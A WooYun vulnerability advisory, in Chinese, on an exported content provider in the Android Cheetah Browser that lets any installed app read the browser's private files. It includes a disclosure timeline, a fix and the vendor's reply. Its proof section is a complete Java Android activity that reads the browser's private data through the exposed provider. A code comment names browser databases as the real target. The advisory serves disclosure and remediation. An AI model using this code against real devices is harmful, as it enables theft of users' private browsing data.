当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-047098

漏洞标题:猎豹浏览器(Android版)任意私有文件数据可被本地第三方窃取漏洞

相关厂商:金山网络

漏洞作者: x3xtxt

提交时间:2013-12-26 17:16

修复时间:2014-03-26 17:17

公开时间:2014-03-26 17:17

漏洞类型:用户敏感数据泄漏

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-26: 细节已通知厂商并且等待厂商处理中
2013-12-27: 厂商已经确认,细节仅向厂商公开
2013-12-30: 细节向第三方安全合作伙伴开放
2014-02-20: 细节向核心白帽子及相关领域专家公开
2014-03-02: 细节向普通白帽子公开
2014-03-12: 细节向实习白帽子公开
2014-03-26: 细节向公众公开

简要描述:

猎豹浏览器的FileContentProvider组件可被任意第三方App调用,第三方App利用此组件可以读取浏览器中的任意私有数据。

详细说明:

组成猎豹浏览器的Content Providers中,com.ijinshan.browser.android.provider.FileContentProvider可以读取指定的文件,AndroidManifest.xml配置文件中没有指定android:exported的值,其android:exported取的是默认的值:true,导致任意第三方App都可以调用此接口,读取浏览器中的任意私有文件信息。

漏洞证明:

package com.example.x3xtxt.demo.lb;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.Toast;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

// 窃取目标文件路径,作为演示,就选小一点的文件:shared_prefs/bids.xml
// 实际的攻击中,我们对databases目录下的记载有敏感信息的文件更感兴趣,比如:databases/browser.db之类的。
String sensitive_file_path = "content://com.ijinshan.htmlfileprovider/file:///data/data/com.ijinshan.browser/shared_prefs/bids.xml";
ContentProviderFileOperations(sensitive_file_path);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

public void ContentProviderFileOperations(String filepath){
try{
InputStream in = getContentResolver().openInputStream(Uri.parse(filepath));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}

public void debugInfo(String msg){
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
}
}

修复方案:

如果浏览器在功能上并不要求导出此接口给第三方App,则应当将其android:exported设置为false,请RD自行确定限制规则。

版权声明:转载请注明来源 x3xtxt@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2013-12-27 20:29

厂商回复:

非常感谢,综合判断该漏洞的利用复杂度、影响范围与程度、被利用的空间综合判断为低危。

最新状态:

暂无